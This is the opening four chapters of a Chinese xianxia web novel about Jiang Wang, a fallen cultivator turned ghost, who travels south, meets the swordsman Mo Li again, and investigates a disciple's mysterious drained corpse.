《互劫》
1. 第 1 章
今天,是江妄肉身死去的第七日,也是她化鬼的第一日。
魂灵存于世间超过七日不离,便称为“鬼”。从此,再无转世的机会。
很多选择只有一次,世间规则不容任何人任性。
江妄能清晰地感觉到自己的变化。前几日她还可以轻盈纵跃,此刻却觉得身上沉重无比,像是绑了千斤铁。但这也有好处,至少有一种落到实处的感觉,终于不是在飘着了。
她缓缓抬起手,看着魂体中那一抹黑气,不知道心下该是什么滋味。
今晨黑无常来过一次,而她,到底是放弃了最后的机会……
地府算是自然法则生成的机构,代表天道的意志。而人死入地府轮回是强制性规定,所以阴差索魂的时候大多都是态度强硬的。
但是,世间从来没有什么是一成不变的。
比如,有些一方大能,已是半步飞升,最终陨落。那么这些魂灵的实力与所谓“世间最强”的差距也就在毫厘之间,又哪里是小小地府公务员得罪得起的?
可得恭恭敬敬请去地府,沏上好茶,摆出近来所有尊贵命格任其挑选,然后找间豪华大殿歇个一晚两晚,算准了转世吉时,再点头哈腰地领着去投胎。
有人遵循天理,利用自身优势可得世世尊贵。那也有奇葩就是不愿去地府的,阴差无常又不敢强勾了他们去,只能反反复复告诉他们,“七日不离,必成鬼。”然后唉声叹气地离开。
又比如,有人上数八十几代和阴差是亲戚的啦,有人手上有什么灵气物件是阴差都心动的啦,有人哭泣撒泼卖惨的啦……于是,总是有鬼的产生。
地府屡禁不止,鬼口总量反而是连年增长。
人之所以称之为“人”,区别于其他人类个体,归其根底是因为:记忆。酸甜苦辣的记忆撑起了人,体现出人性的善恶两面。
可鬼魂随着肉身死亡时间越来越长,记忆也会越来越淡。他们永远不会忘记的只有,令他们滞留人间的,执念。
而人生七情六欲,这些或爱或恨的东西一旦狂化为执念,那让人心甘放弃超生的执念,又能是什么好东西?
因此,有一条惯常规律:无论什么鬼,终会丧失人性,不择手段,形容可怖。两个字:魔化。
可见鬼类的整体素质低下,种族偏见根深蒂固。
总之,鬼的存在,便是有违世规,是自甘堕落的下场。修道之人甚至是有点修为的妖,遇鬼,无论善恶,只管除去。
简直就是生物链的最低端!
鬼生一般的历程差不多是:魔化,都处惹事,被除掉。或者是:还没魔化,出门,被除掉。少有幸运的,或大仇得报或夙愿得偿,执念消去,随风而化,倒是干干净净的。
江妄是非常清楚这些规则的。那她为什么非要赖在人间不走呢?是不是疯了?
没准儿是的。
她就是疯了。
又或者单纯是拖延症犯了,就是不想。
她自己也不知道。
江妄已经在自己身死之处整整坐了七天了,最终决定,叛逆一把。她不走了!
那,要干点什么呢?
江妄一拍手,突然想起来一件事:自己好像,死前被人欺负了……
珠星崖。
这里是北界寒星门专门流放犯人之地。
珠星,很美的名字。但这里却是寒星门唯一一个酷热之地。酷热到什么程度呢?这里的天都是红色的,就更别说那满地熔浆滚滚。
江妄穿梭在奇岩峭壁之间,找着那个渣滓,珠星崖的封印不但没有阻拦她,倒是有些避让姿态。
远远的,江妄就听到一阵哀嚎哭求。
“爹,救救我,我我不想被关在这里!这里我一刻都待不了!我会疯的,一定会疯的。啊啊救我出去,求求你了!爹啊啊……”
只见一个男人披头散发跪伏在雪地里,手用力攥着另一个人的衣袍边角,那个站着的人却是一言不发。
不一会儿,那鬼哭狼嚎渐渐弱了下去,好像也明白了形势无可转圜。只是反反复复嘟哝道,“我可是你亲生的儿子啊,爹救我,救救我……”
那个男人终于开口,“如果你不是我儿子,你还能活到现在?你自己干了什么自己不清楚吗?那可是江妄啊!逼死仙姬什么罪名?你让我怎么救你?啊?”
听到“仙姬”这个有点儿遥远的称呼,江妄暗自好笑:
什么仙不仙的,不过是大乘将满,半步飞升罢了。世人恭维,愿意提前叫一叫什么“仙姬”、“仙君”,却没有想,万一应劫失败,岂不是天大的笑话?就比如她。
再者,飞升就是成仙了吗?哪里的话呢?不过天道允许你换个地方居住罢了。毕竟,拥有了不该存于下界的力量,那么就可以通过所谓“历劫”的选拔形式被转移到上界。
--
世界境界大致分为:练气境、筑基境、结丹境、元婴境、化神境、炼虚境、合体境、大乘境。
往上走还有真仙境、金仙境、太乙境、大罗境等等。当然,这些境界只存在于上界。
练气的寿数与普通凡人无异,只是身子更强健些。筑基就大有不同了,算是迈进了修者的门槛,不但驻颜不老,能化天地灵力使术法,寿命也比寻常人长。在一些闭塞的宗门懒得管的地区,筑基境那就是土皇帝。
到了结丹境,就是正经的修士了。别看筑基和结丹只一境之差,却是有本质的区别。
结丹,顾名思义,就是修者能在灵海中凝结一颗金丹,用以运转灵力。从此,修炼或者攻击不必时时借助外界的灵力,自身便是单独的系统,因为金丹在不停的转动,从灵海至灵脉输送灵力,充盈全身各处。金丹之于修者,就像心脏一样重要。而它打破了正常人类的生理结构,所以结丹境可以说已经不算寻常意义上的“人”了,真真正正摆脱了肉体凡胎,寿数也突破了凡人的极限,直接加倍,二百。
虽然这个世界人人修炼,修者统治,但是真正能到结丹境的却是千万中存一。
而结丹到元婴更是一道天堑。所谓元婴,就是神识的极大成熟,可以有别于本体而存在。到了元婴便是一方大能的级别了,结丹中能进而结婴的又是千万中有一。元婴境的寿数更是比之结丹境直接增加了三百,共五百。
再之后的化神境、炼虚境、合体境各自比其上一境界增一百寿数,分别是六百、七百、八百。化神境直接可做一派掌教,炼虚合体更不用说了,一共就那几个,都能叫的出名号。
大乘境寿数一千。人称一声“仙”。
这些境界在下界的寿数大致是这样。
至于仅存上界的什么真仙境、金仙境、太乙境、大罗境……这些到底有没有,没有人说得清楚。
就不说寿数。姑且都叫与世同寿吧。
从下界时间看,“神仙”和人的寿命本是相同的。只是上下界时间流速不同:下界一天等于上界一年。下界日升月落,上界沧海桑田。下界又怎么能比上界发达?
而且最主要的是,寿数。
为了保证魂体转世换代的速率上下界一致,上界人的寿命直接是下界人的365倍,就显得“神仙”活得很长了。
例如,一个人拥有结丹境修为,在下界可以活200年。但他要是“仙二代”,出生在上界,同样是结丹境,就可以活200×365年。
大乘境拥有1000年的寿数。假如600多岁时以大乘境飞升上界,而在上界也一直停留在大乘境,没有再精进修为境界,那就可以在上界再活(1000-600)×365年。
其实,除去上界更加靠近自然法则这一点之外,上下界的修炼原理、境界划分等等没有任何不同,最多就是上界的灵气稍浓郁些,那也是上界开发程度大于下界的缘故。人还是人。只是按照下界人的标准,上界人活的实在是太长了,长到只能存在于幻想之中,成为“神仙”。
寿命长意味着什么呢?太多了。
意味着多出三百多倍的时间去修炼。
百年可能结不了丹,但是100×365年,没准儿可以。
也不必日日匆忙,可以悠哉的走,顺便看看路旁花草。一个人就可以完成很多梦想,不必寄希望于子孙后代,留下种种遗憾。可以选择喜欢,而不是适合,毕竟生命长的很,不必担心错了无法回头……
这些也许就是下界人那么想要飞升至上界的原因吧,哪怕不为他们自己——
我的子女,哪怕平庸,甚至连练气都不是,我也希望他出生就在顶点,一生悠闲自在。
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当生命的长度长到一定程度的时候,也许就已经代表了它的厚度。
有些下界凡人乱传“天上一天,人间一年”。开玩笑。那岂不是意味着,上界每年都得有几个大乘境飞升?那他们那些原住“神仙”日子还过不过了。
毕竟真仙道祖几乎与天同寿,在某种意义上就相当于着自然法则,是真的超凡脱俗。统治阶层都是境界不如大乘境的。隔三差五多出几个大乘境,还都是压缩三百多倍时间修炼出来的大乘境。上界早就乱套了。
--
北界,寒星门,珠星崖。
那站立的男人又恨又怒,一甩衣袖背过身去,
“哪怕,哪怕,你真的对她做了什么,我都有办法摆平。毕竟都知道她是自己动情破了无情功法,才修为尽毁。你即便真的欺辱了她,也根本无法证明是你,到时候我们倒打一耙,令人唾弃的只会是她。
可你怎么会这么蠢,怎么能让她死了?还死在你的本命剑下?”
“不管后来如何,她从前可是北界唯一的大乘境,曾经拥趸者千千万。你应该庆幸,江妄向来自恃修为孤傲的很,所以没有什么强者为她强出头,不然你爹我,就是有天大的本事也免不了你一死。”
……
江妄无悲无喜的听着,看着,仿佛那个人所说的一切都与自己无关。
那人是寒星门一位化神境的长老,江妄生前算是认识。
她突然想:自己现在是鬼了啊,不必恪守道心。看这老家伙不顺眼,杀了他,就是了。
往往,鬼类给人的印象就是又弱又作。
但其实不是所有鬼都弱的,鬼的实力取决于他生前的最强实力。
如果一只鬼生前只是个凡人,那么他就是最低等的鬼魂,过不了多久就会魔化。
但如果生前是个元婴以上的修士,那就大大不同了。
所谓元婴境,便是已经修炼出可以离体的神魂,那这只鬼大概会继承生前七成甚至是十全十的实力,也能延长保持记忆的时间。
那为什么说是“最强”实力呢?
就是说即便生前曾修为有损,或者直接就是因为散尽修为而死。若化鬼,实力取决于曾经拥有过的最强实力。
人是以自身功法能动地吸纳天地灵气,步步升级,我们称之为“修为”。这个“修为”是物理意义上的,比如:可应用灵气的范围、攻击的强度等等,和身体息息相关。修为倒退便是实力的倒退。
可是鬼哪来的肉身啊?它们主要是依靠可以凝实的魂力,即生前的神识。神识的强弱又取决于曾经到达过的境界,体现在精神力之类的方面。而神识并不一定会因为修为受损而衰退。
但是相应的,达到的修为越高,意味着人身心境界越高,又哪有几个元婴高手会因一世因果而执迷不悟地要化鬼呢?更何况境界更高的修士?
所以,这古往今来,大乘境的鬼,江妄应是独一份儿。
江妄绝绝对对是鬼中的实力天花板。而她要是哪天魔化了,估计要那些南界的仙君才制得住了。本着不给别人找麻烦的好习惯,等到了那一天,江妄觉得,她还是自己了结的好。
总之,江妄想杀了那个什么长老,轻飘飘。她这么想着,就要动手。
那长老却长叹一声,用力闭了闭眼,
“你作恶不成无法保全自身,太蠢。现在又如此哭求,半点骨气也无。如此心智,难怪多年修为无所进益……而江妄,纵然落魄,但曾经作为仙姬,总有为人敬佩的地方。你荒唐惯了,但你总是不该……是我,没有把你教好。在这珠星崖,你自己好好……”
那长老好像说不下去了,江妄也没有再听下去。
江妄隐约想起来,这长老的道侣死的早,而他孤身多年也称得上一句痴情。可惜了,儿子养残了。
江妄收回手,转身离去。
就这样吧。
记得那一天,那个渣滓拦住自己,污言秽语不堪入耳。但是要说他“逼死仙姬”,未免也太看得起他了。
当时,江妄告诉他:
“从来没有人这样和我说话,你要为你说过的话付出代价。”
可能是为了践行这句狠话,又或许是为了别的什么事儿,江妄在那一天选择了死。
2. 第 2 章
冥紫江畔,一人伫立,她一身垂地白袍,衣角随着罡风疯狂翻卷,让人看不出她具体的身形。只知道,她站的极稳,自成一片风景,好像是在临江远望。
整个空间嘈杂的很,但从某种意义上讲,又很安静。嘈杂的是那直穿人脑的尖啸水声,以及劈啪作响好像时时刻刻要砸在你身上的紫色雷电。而说安静,则是因为此间空无一人,寸草不生,一点儿生命存在过的迹象都没有。
诶?刚刚不是还有一个人在江边呆着吗?
那也可能,不是人。
没错,那个“人”便是江妄。
冥紫江横跨大陆,将其分为南北两界。传说有一条巨龙名曰冥紫,巨龙受到天罚被打落下界,头向东,尾朝西,大陆被拦腰截断。巨龙死后,骸骨不化,堪堪连接南北大陆,后来天上来水,填补沟壑,成为冥紫一江。
因为是天上之水,冥紫江水不可以寻常之水作比:只沉不浮。换句话说,只要是活物,便渡不过这冥紫江。即使是修士御物而行,或者是乘飞行器,也会被冥紫江吸下来。
南北两界虽然不怎么联系,但也总有需要沟通的时候。于是,南北几大门派倾全部阵法师之力,与冥紫江最窄之处,修了一个巨大的传送阵。
这个传送阵在某种意义上可以说是连接两个不同的空间,不是单纯的缩地成寸。这可以说是北界人去南界的唯一通道。
但这个阵不是谁想用就能用的,不说阵法启动一次的消耗,这个阵法每年是有限制次数的。因此,每次从这个阵上下来的人,那一定是代表一界前往另一界。
江妄生前去过两次南界,都是用这个阵法。
这一次,是她第三次要去南界。这一次很幸运,她不再是活物了,冥紫江都不鸟她。
至于江妄要去南界的原因:一来,鬼物只要凝实便无法使用易容改貌之术,呈现的就是它生前本体的容貌。而江妄这张脸在北界的辨识度实在是太高了,倒不是江妄怕仇家上门,她只是不想死后还落人话柄,不得清净。
二来,南界,便是她执念所在。
……
江妄用魂体赶路,果然,飘就是比任何形式的走快。
不出三日,江妄便到了汝陵城。
虽然,南界根本不会有几个人见过她,但也不知道是出于什么心理,江妄还是戴了一顶帷帽用作遮面。也许是为了防晒?
江妄本就一袭白衣,再加上帷帽檐下垂着的长白纱,整个人层层叠叠一身白,飘逸有之,但更像一个行走的帘帐。总之,走在街市里,回头率百分之百。
天色渐渐晚了,街里却热闹依旧,华灯初上。
江妄是鬼,又不用休息,夜间更是方便赶路。但江妄自认为是个体面人,自然得找间旅店,好好吃一顿、睡一觉,当然她肯定吃不了睡不了就是了。
你问她钱从哪来?
那来钱的方式就很多了。
或者说,江妄住店,从来不用钱。
这旅店算是上乘,吃住一体,二楼雅间可以看到楼下大堂。
二楼。
江妄把帷帽扔在桌子上,一手支着脑袋,一会儿欣赏着满桌美食,一会儿百无聊赖地往楼下看。
楼下有几个服装整齐划一的人正在喝酒,听口音,也不像是汝陵人。
其中一个膀粗腰圆的人起来敬酒,“师兄,这一次鉴宝大会,你一定能拔得头筹,师弟在这里敬你一杯。”
“子煜定当尽全力。”那个师兄也端着酒杯站起来一饮而尽。
细听之下,好像整个旅店都在讨论同一个话题。
“听说这一次陌家拿出的,可是一条顶级骨鞭。那骨鞭有灵,可以大大提高持有者战力,最适合越级战。”
“陌家这次真是大出血了。”
“可不是,那毕竟是陌离仙君的本家,能不阔吗?”
“是啊是啊,来的都是各大宗门的新锐。你看到那边了吗?那是宿芳宫的林子煜,那可是结丹境的高手。”
“听说他才不到四十……”
“也不知道他有没有婚配……”
“人家婚没婚配和你有什么关系,那样的天之骄子能看上你?”
“……”
话题逐渐歪楼。
江妄也好趣儿,认真看了看那个什么林子煜。
嗯……身姿挺拔,墨发高束,最主要的是,在他那位颇为粗糙的师弟的衬托之下,显得格外精致。确实是挺不错的。
江妄来了兴致,歪歪斜斜地站起身,朝着那林子煜的方向遥遥举杯示意。想不到那个结丹境还挺有礼貌的,也同样举杯回礼。
江妄笑了笑,眼神又开始漫无目的地流转。
突然,江妄神情变了,脸上的笑全部僵在那里。
她支着脑袋的那只手不知道什么时候滑落,目光凝滞。明明她就那么安静地坐在那里,周身却有一种汹涌激烈的气息。好像下一刻,它们就要压制不住地从主人身体里喷薄而出。
顺着江妄的视线看过去,原来,店家门口风铃一响,进了一位客人。
那人身着灰色劲装,背负一把翠绿长剑,装扮普通。
可但凡你把视线上移,略微地扫过他的面庞,就绝不会再觉得他普通了。
那是一张怎样的脸呢?
很美。
又不仅仅是皮相的美,是整体上的……那种,不似真人的美。就好像这人周身罩了一层光圈,硬生生模糊了他的轮廓,把他和下界分割开了。
见过他的人,脑海中蹦不出任何华丽的词句足以形容他的美,最后只能空空化作一句最粗陋的:很美。
江妄也觉得很美。
江妄第一次见陌离,就觉得他很美。
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九十三年前。
遥岑宗,主殿后。
听闻水声潺潺,却不见溪流的影子。水幕珠帘从天而下,循环往复,润泽着满山杏林。碧空如洗,泛着淡淡蓝光的法阵交错排布,与流云并肩,在阳光之下并不明显。原来,那天上之水正是从这些法阵里慢慢溢出的。
突然间,一道绿色剑光从天的那边迅疾而下,打破了这一方似幻仙境。剑风带起那些粉白的花瓣,也带起了阵阵醉人清香。
那绿光被一个白衣男子接住,在他手中化为一把长剑。男子并未收式,倾身一送,又是一组绝妙剑法。
江妄站在殿檐上,看着那道白衣身影在水帘中灵活穿梭,看着那流光长剑与花瓣翩翩而舞。
美极了。
江妄只见过寒岩侧立,只见过冰塞幽谷,哪里见过这样的水幕娇花,这样的清绝剑法。难免会有些没见识地看楞了。
就是这一楞,江妄隐藏的气息逸散开来,那白衣人也感应到什么扭头看过来。
可能是因为剑收得急了,没算好角度,剑尖划过身侧的水帘,点点水珠溅到他脸上,又从他脸颊一滴一滴滑落到他肩上披散的那一缕墨发上。
看到他的脸的那一瞬间,江妄愣神得更严重了,好像连自己的呼吸都感觉不到了。
直到那位白衣公子欲转身离开,江妄才猛然回神,连忙跃下殿檐,拱手道,
“在下寒星门江妄,被贵宗风景迷了眼。不知公子在此,无心打扰。”
虽是抱歉的话,言语间却并无太多歉意,好像站在人家宗门主殿顶上被当场抓包,并没什么大不了的。
江妄穿着寒星门的统一服饰,一身暗纹黑锦,脸上还戴着同色面纱。
至于面纱,则是江妄母亲的要求。她以江妄的容貌会吸引太多视线,影响江妄修行为由,强行在江妄的面纱上下了江妄解不开的术法。
“陌离。”白衣公子回礼,“主殿中,宗主在与北界修士议事。”言外之意就是说江妄不敬。
江妄听出来了,但她并不在意,“原来你就是陌离啊,来南界第一天就听说你减翠一动天下惊,果然名不虚传!”
“姑娘过奖。”陌离语气淡淡,说罢就又要离开。
江妄哪能放过他,刚才在檐上看着的时候就已经技痒难耐了,她第一次这么欣赏一个人。
“陌公子剑法精妙,令人拜服,还望公子不吝赐教。”
这一次,陌离却没有再客套什么,直说,
“于我并无获益。”
这无疑是在瞧不起江妄的实力。江妄彼时不过十九岁,哪里能忍?她倒没有多生气,只是一时意气,直接祭出银月弯刀拦住了陌离的去路。
“此刀名‘月’,不知与减翠相比,锋利几许!”话音未落,月便劈
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了下去。
陌离有礼,却不会退让,减翠再出迎上弯刀,而后灵巧划过外刃,迅速侧身压向内刃,减翠一挑,避开弯刀攻势。陌离迅速回身后退,稳住身形,执剑与江妄相对,紧接着又迎了上去。
一白一黑两道身影,在漫天花雨中交错,时而有绿色或银色的寒芒闪过。
生命中总有一些鲜亮的东西,永远在不甘认命的人的回忆里闪着光。比如年少张扬,比如天光正好,又比如那时花雨里一双交错的身影。
……
江妄略有不敌,但总体上和陌离也算旗鼓相当,自然不愿认输,兴致反而越来越高,闹的动静也越来越大。而交战又无暇避开水幕,到最后两个人浑身都湿透了。
杏树被月砍坏好几棵,水幕阵被减翠捅漏好几个,可谓一片狼藉。
最后,两只落汤鸡被各自长辈领回去好好教训了一番。
毕竟,这是三年一度的南北会面。大到北界的玄铁,南界的药植;小到北界的吃食,南界的首饰。
然而,就在这南北友好会面的大殿后头,两方年轻一辈最出色的人打起来了。
这叫什么事儿啊?
江妄是逃会,而陌离压根就没去参加。
这也算是,志同道合?
其实,江妄没想会闹这么大,毕竟陌离之前也在那儿练剑不是。一开始只是想和他切磋一番的,没想到……
可惜的是,后面几天江妄被母亲关在寒星门下榻的招待处,没再见到陌离了。正所谓不打不相识,她还想和陌离好好交往一番呢。
可惜,陌离连她长什么样子都不知道。
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北界气候恶劣,而且多变。可能前面还是冰川峡谷,后头就有滚滚熔岩。虽然灵气相对稀薄,但是资源相当丰富。
这样的复杂环境,造就了多样化的修炼功法,宗派零散。有的宗派甚至不过百人,凭天险而立,独占一方资源。高山峡谷的分隔,使各宗派的独立性非常强,战争不断。
几百年前,一次毁灭性的混战之后,以寒星门为首的主要宗派形成一个较为松散的联盟,北界才形成了相对稳定的秩序。有了较为规范的资源利用原则,而一般的逃犯也会遭到联盟严惩。
南界则大不相同。很少有什么大起大伏的地势,灵气也十分充裕。
从古自今,达到大乘境的南北人数比例是4:1,可见实力悬殊。幸好南北无法贯连,不然北界早就成了南界的附庸。
南界的管理体制向来集中,历史上更换过几次总辖门派。但近百年,总辖门派都是遥岑宗。
所以,南北会面,自然是北界寒星门来访,南界遥岑宗于正殿接待了。
江妄,寒星门门主独女,十七岁结丹,年仅十九便是结丹境大圆满,可谓北界百年难得一见的天才。
而她之所以修为增长如此之快,不单单是因为她根骨绝佳、天赋超然,更是因为她修的是无情功法,心境优于常人。
可是,无情功法的害处也很明显:
动情,则修为尽毁。
修无情功法的人,不是说不能有正常的人际交往,也不是说就要整日面无表情,端坐高台。
只是不动情,就可以。
而所谓“动情”,就是无情功法的修炼者拥有了一份足以打破自己理智、影响自己心境的感情。
“无情”,不是说该修士在路边看到有人家着火了,要目不斜视地离开。毕竟,这无情功法再冷门,也是正道所承认的功法,总不会致力于把人培养成没有道德观念的冷漠机器。
而是,假如尽力救火而不成,该修士不会因为有人丧命而感到悲伤或是愧疚。
心不动,方为无情。
甚至,修无情功法也可以拥有道侣,与人双修。只要你能保证自己,不动心。
一般人不会拿自己的修为去赌。
因为感情的可怕之处在于,它不是一下子就能让人发觉的,它是那种慢慢的渗透型的东西。
以为自己全然无畏,可即便到了大乘境,到底也没有完全摆脱血肉之躯,又怎能对待万事都无动于衷?
甚至,多年之前埋下一粒种子,时隔近百年才破土而出,疯狂生长。
这是谁也防不准的事儿。
3. 第 3 章
这里是汝陵,陌家就在汝陵。陌离来汝陵,不回家住,住旅店?
果然是奇葩。江妄心想。公子绝代,可惜向来脑子不好。
可能是江妄的目光太过灼热,陌离亦有所感抬头看了过来。
他眼神空旷,没有聚焦,看了也好像什么都没看见。
江妄一直觉得,陌离那个眼睛,就像是瞎子的那个眼睛。反正出去和别人说他是个视力有障碍的人,绝对有人信。
不过一年没见,这陌离的眼神看着更聪明了。要不是江妄知道陌离现在不瞎了,肯定以为他还看不见呢。
江妄在陌离要收回视线的前一刻,挑着唇角高声道,
“小瞎子!要不要我扶你上楼啊?”
一楼那些刚刚被陌离的颜值吸引住的人,纷纷把目光投向江妄,然后各自了然,又继续自己的事儿了。
原来,这绝色公子是个看不见的啊。
陌离顿了一下,微微调正视线,这一次他看向江妄的眼神好像聚了焦。
江妄就那么恣意地笑着,任由他打量,笑容里,是让人捉摸不透的情绪。
旅店一楼喧闹嘈杂,饭菜香气、酒气与人的热气混杂,一个呆子在楼下认真地看,一个傻子坐楼上张扬地笑。
陌离看了挺久,可能是没看出什么,没有再看江妄,和老板说完要一间房,就径自上楼了。
江妄则直勾勾盯着自己手中的酒杯,笑僵了的脸一时间都无法变换表情。
……
月上中天。江妄盘膝坐在床上,不断练习自己对魂力的掌控力。
突然,江妄感觉到一股妖气。这妖气很淡,不仔细感觉不到,江妄并没有放在心上。
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这个世界对妖修的容忍度很高。
有灵识的非人就是妖,他们拥有与人类相同的生存权利。而妖修的社会地位也基本与人类修士地位等同。甚至,有些妖类大族的声望都高于一般宗门。
如果你肆意杀害妖修,取其妖丹筋骨,那么,除了你的道心会受到影响,修为难有进展,你也会被当地人族宗门追责,该偿命的偿命。
这些年,人族和妖族一直都是和睦相处。
一来,大多妖族功法也有心境要求,妖修通常不会随意害人。而且,犯罪成本一年比一年高。
二来,妖族修炼虽然也是运转功法,吸收天地灵气,但与人族修炼吸收的灵气成分不同,资源利用也基本不冲突。
三来,妖族很聪明地不与人族对立,在无关要紧的方面愿意放低身段。犯罪妖修处理方面,也基本能让人族满意。
那么,和平才是利益所趋。
当然,也有妖为了走捷径去吸食人类的灵力精血,但这绝不是常态化行为,种行为就跟谋财害命的人族,或者炼邪功的邪修一样,是违法行为,是会受到人族妖族全社会谴责的。
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没想到第二天卯时未过,旅店就骚动起来。江妄自然少不了去看一番热闹的。
只见那些宿芳宫的弟子全堵在一个房间门口,畏畏缩缩的,想进去又不敢的样子,围在一起窃窃私语,还有几个女弟子在抹眼泪。
江妄直接往里挤,当然遭到了人家的阻拦,“你谁啊?”
“啊,那个我是店里的,来看看发生什么事儿了。”江妄张口就来。
“可是,在你之前已经来了一个店里的管事了。”拦住江妄那个弟子将信将疑地看着她。
江妄闻言,伸长了脖子往里看。
呵,她来看热闹也就算了,陌离倒是转了性啊。江妄立马又道,
“啊,我是大堂经理,他是我手底下一个小管事。”
看到陌离向这边看过来,江妄还招了招手,“查的咋样了,小瞎子?”
这句“小瞎子”一出,有一个女弟子小声道,“这人,不是昨天楼上吃饭那个吗?”
可惜,那女弟子说慢了一步,江妄已经趁他们不注意挤了进去。
一个扭曲的人型东西躺在床上,床边有个窗户正开着,风很有规律地吹动着白色的窗帘。
呦呵,死的正是昨天给林子煜敬酒的那个长相粗糙的师弟。
其实,能看出死者身份,已经是江妄能耐了。
因为,现在的“师弟”照比昨天缩水了十倍不止,简而言之,他被吸干了。
整个尸体只剩下骨头和上面包裹的薄薄一层皮肉,皮质粗糙,沟沟壑壑。张大的嘴占据了半张脸,嘴角爆裂,眼珠半落不落,死相可谓相当凄惨。
怪不得那些宿芳宫的不想让外人凑热闹了。
屋里林子煜右手紧握剑柄,头朝外站在床边,已经红了眼睛,而陌离正在隔着手帕触碰死者的皮肤。
林子煜看到了江妄,显然没有了昨天的好脾气,“这位姑娘,宿芳宫出了命案,姑娘不便在场,还望速离。”
江妄没动,不急不徐地开口,
“林公子,我只说一句,床上这位可是昨日向你敬酒的,那位长相威武的师弟?”
林子煜果然瞪大了眼睛,连陌离都转过身来。
他们宿芳宫是凭借配剑以及储物袋辨别死者是张师弟,那这位姑娘只看一眼又如何得知?
江妄当然知道,也只有她能知道。
这屋子里就站那位膀粗腰圆的弟子的魂灵呢,不知道为什么还没有被阴差带走。
他庞大的身躯,不对,不能叫身躯,应该是魂躯,正抱着林子煜的大腿嘤嘤嘤呢,哭着说什么,“师兄哇,你要给我做主啊,我死得好惨啊,嘤嘤嘤……”
江妄没忍住,噗呲一声笑了出来,那个庞大魂灵惊奇地扭头看向江妄。
而这又引来林子煜一阵怒瞪,他尽力放缓语气开口,
“姑娘如何得知?”
江妄眨了眨眼睛,“这是秘密哦!”
心里暗暗补一句,说出来吓死你。
林子煜的耐心已经告罄,就在他要送客的时候,陌离开口了,
“林公子,多一人,多个帮手。”
林子煜只好作罢,默认了江妄的存在。
哪知江妄直接往床边一坐,大咧咧地掀起了尸体的上衣,就那么徒手往尸体的丹田上摸去。
江妄抬眸,和陌离对视一眼,随即对着尸体道一句形式上的“失礼”,唰的一声扯开了尸体衣服。
只听那边飘着的庞大魂灵发出来羞耻的一声“啊……”
江妄一阵尴尬。
但是,该看的已经看到了,该知道的也差不多了。
金丹衰竭却无破裂,灵脉枯萎,身上又有宽大的勒痕。
现场和尸体上却没有任何妖气残留。更不用说鬼气了,那个比妖气明显一百倍。
没过一个时辰,玄风宗就来了弟子调查。好像是因为最近有个什么“鉴宝大会”,玄风宗本来就有有弟子
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在汝陵。
汝陵地界的执法宗门是玄风宗,所以,哪怕是宿芳宫死了弟子,这事儿也得由玄风宗主管。
最后,玄风宗得出结论是:修邪功的夺了张扶风的修为,那个邪修有一件绫布质地的束缚器物。
对了,那位长相粗糙的师弟,叫张扶风。
江妄没说什么,转身离开房间,然后走进了案发房间隔壁那间,随手在墙上画了一个符。
刚坐下,张扶风就穿墙而来,直道,
“菇凉,你是不是能看见我啊!”
“是啊!”江妄学着他的语气夸张回道。
“那为什么就你能看见我?”张扶风继续激动地问。
“对啊,为什么?为什么?”江妄轻轻嘟囔,“因为……”
江妄猛然切换成魂体,强大的鬼气散出,她露出一个诡异的笑,
“你说为什么呢?”
张扶风吓得一屁股摔在地上,当然,由于浮力作用,张扶风又被弹了起来。
“哈哈哈哈哈哈哈……”
江妄笑的前仰后合。
那个张扶风生前肯定是个中二少年,他俯身跪地,
“鬼王在上,请受小人一拜!还有,千万不要吃我,呜呜呜……”
江妄笑的根本停不下来,这宿芳宫是啥,她一个北界人士不清楚,但就凭他们宫的选材标准,哈哈哈,她喜欢。
不过,鬼王……?
江妄若有所思。
江妄施施然抬手,本着唬人唬到底的原则,
“起来起来。现在去地府报道之前多了个流程,要向我,鬼王,说明死因。来吧,你因何而死?”
张扶风提到这个更是两眼汪汪,
“陛下,你可要为我做主啊,我死的不明不白啊,啊啊啊啊”
江妄:……
“陛下”是什么鬼?
“我昨天晚上睡的好好的,突然听到窗外有人说话,我以为又是郁师妹去吃夜宵了,就好奇打开窗户看。结果还没来得及看到什么,就被一堆好像是墨绿色的东西缠住了,它们缠着我,又把我推回床上,我连拔剑的机会都没有,呜呜呜……我还没修出剑灵,就只能……呜呜呜……”
真,好惨。但是,江妄好想笑。这是不对的,她是一个合格的鬼王,要为魂除害!嗯,不能笑。
“行了,我知道了。等一会儿阴差来了,你就跟他去地府吧,剩下的交给我。”
“鬼王陛下……”
“放心吧,张扶风!”
“嗯!我相信陛下!陛下真是太好了……”
张扶风开开心心蹦蹦跶跶地飘走了。
江妄也笑了。
她有一点羡慕张扶风了。
江妄又一次凝实,撤掉了墙上那个隔绝符,走出房间。宿芳宫那边还在走流程,江妄回了自己的房间。现在还不行,白天太乍眼了。
--
是夜,子时。
江妄从房间窗户翻出,几个轻跃来到旅店屋顶,踩着屋顶的砖瓦,顺利到达张扶风那间房的窗户外。正是旅店的背面。
江妄轻轻落地,白袍的长袖在夜风中前后摇摆。江妄双手合掌做结,手指翻飞为印,末了向前用力一指。
瞬间狂风大作,树叶沙沙掉落,整个空间里只有江妄岿然不动。
不一会儿,江妄突然冲着空气开口,
“都来了?”
4. 第 4 章
江妄提膝,横跨一步跺地,瞬间,江妄所在地出现了一个小小光晕,然后那点微弱光晕迅速向四面八方膨胀,在旅店后面形成了一个巨大的屏障。以防这里的气息泄露。
“大人,汝陵境内所有神志清醒的鬼都在这里了。全凭大人差遣。”
一道沉稳成熟的女声传来,风声逐渐息住了。
此时虽是深夜,但在江妄眼里,一切清晰如白昼。江妄看着女声来源处。
女子,准确的说是女鬼,身姿高挑,碧蓝罗裙勾勒出腰肢仙盈,再往上,柳眉杏眼,朱唇略薄,面容是水墨画般的清雅,一身从容大气。
江妄轻轻挑眉,不是叹这鬼是个难得一见的美女,而是这鬼的修为,更难得。元婴之上隐隐化神啊。啧啧啧,怎么就想不开……
“多久了?”江妄问。
那女鬼答,“二十年了。”
“嗯。嗯?二十年?!”这女鬼生前修为不低,但是二十年……她刚当鬼,不是那么了解这个魔化规律,但是二十年,就算修为元婴以上,是不是也长了点?
“回大人,我有幸得到一块灵檀木,是以一直保持清醒。”女鬼恭恭敬敬答。
灵檀木?什么灵檀木啊,还有这效果呢?她都没听说过。江妄动了征用的想法,也不废话,直接对女鬼命令道,
“拿出来。”
女鬼倒是乖觉,魂力一动手中出现了一个盒子,双手呈给江妄,面上一点不情愿都看不出来。
江妄打开盒子把那个灵檀木拿在手上看了看,确实是好东西,应该确实是有清心醒神之效,但也不是江妄想象中的那种绝无仅有的秘宝。
